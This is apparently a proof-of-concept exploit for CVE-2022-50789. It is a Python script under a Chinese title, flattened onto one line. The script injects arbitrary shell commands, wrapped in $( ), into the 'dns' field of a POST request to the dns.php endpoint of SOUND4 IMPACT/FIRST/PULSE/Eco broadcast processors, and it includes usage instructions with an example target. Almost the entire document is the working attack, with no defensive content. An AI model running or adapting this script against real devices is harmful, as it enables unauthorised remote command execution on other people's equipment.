CVE-2022-50789 SOUND4 IMPACT/FIRST/PULSE/Eco命令注入漏洞

import requests import sys # CVE-2022-50789 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Command Injection # Target: dns.php script def exploit(target_url, command): """ Exploit the command injection vulnerability in SOUND4 dns.php Args: target_url: Base URL of the vulnerable SOUND4 device command: Command to execute on the target system """ # The malicious file content with embedded command # File will be created in /tmp with .dns.pid extension payload = f"$( {command} )" # HTTP POST request to dns.php endpoint = f"{target_url}/dns.php" try: # Send POST request with malicious payload response = requests.post(endpoint, data={'dns': payload}, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Note: The malicious file is automatically deleted after execution") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)